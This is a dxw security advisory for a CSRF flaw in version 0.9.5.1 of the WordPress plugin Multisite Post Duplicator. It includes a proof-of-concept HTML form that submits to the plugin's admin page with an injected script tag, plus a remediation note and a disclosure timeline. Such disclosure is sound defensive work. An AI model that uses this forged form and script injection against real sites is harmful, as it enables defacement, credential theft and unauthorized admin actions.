Details
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Software: Multisite Post Duplicator
Version: 0.9.5.1
Homepage: http://wordpress.org/plugins/multisite-post-duplicator/
Advisory report: https://security.dxw.com/advisories/csrf-vulnerability-in-multisite-post-duplicator-could-allow-an-attacker-to-do-almost-anything-an-admin-user-can-do/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
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CSRF vulnerability in Multisite Post Duplicator could allow an attacker to do almost anything an admin user can do

Vulnerability
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Contains a CSRF vulnerability which can copy content from one site of a multisite installation to another.
This could be used to add arbitrary HTML to the front-end of the site (which could be used for defacement, harvesting login credentials from authenticated users, or could be used to do virtually anything a logged-in admin user can do).
This could also be used toA view content not meant to be published.

Proof of concept
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Some of these values may need adjusting depending on the post IDs, blog IDs, etc.
<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=mpd\">
  <input type=\"text\" name=\"mpd-post-status\" value=\"draft\">
  <input type=\"text\" name=\"mdp-prefix\" value=\"<script>alert(1)</script>\">
  <input type=\"text\" name=\"action\" value=\"add_foobar\">
  <input type=\"text\" name=\"el0\" value=\"post\">
  <input type=\"text\" name=\"el1\" value=\"1\">
  <input type=\"text\" name=\"el2\" value=\"1\">
  <input type=\"text\" name=\"el3\" value=\"1\">
  <input type=\"text\" name=\"duplicate-submit\" value=\"Duplicate\">
  <input type=\"submit\">
</form>

Mitigations
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Update to version 1.1.3 or later.

Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
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2016-11-01: Discovered
2016-12-07: Tested version 1.1.3 and found the plugin no longer vulnerable to the attack as described
2016-12-09: Advisory published



Discovered by dxw:
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Tom Adams
Please visit security.dxw.com for more information.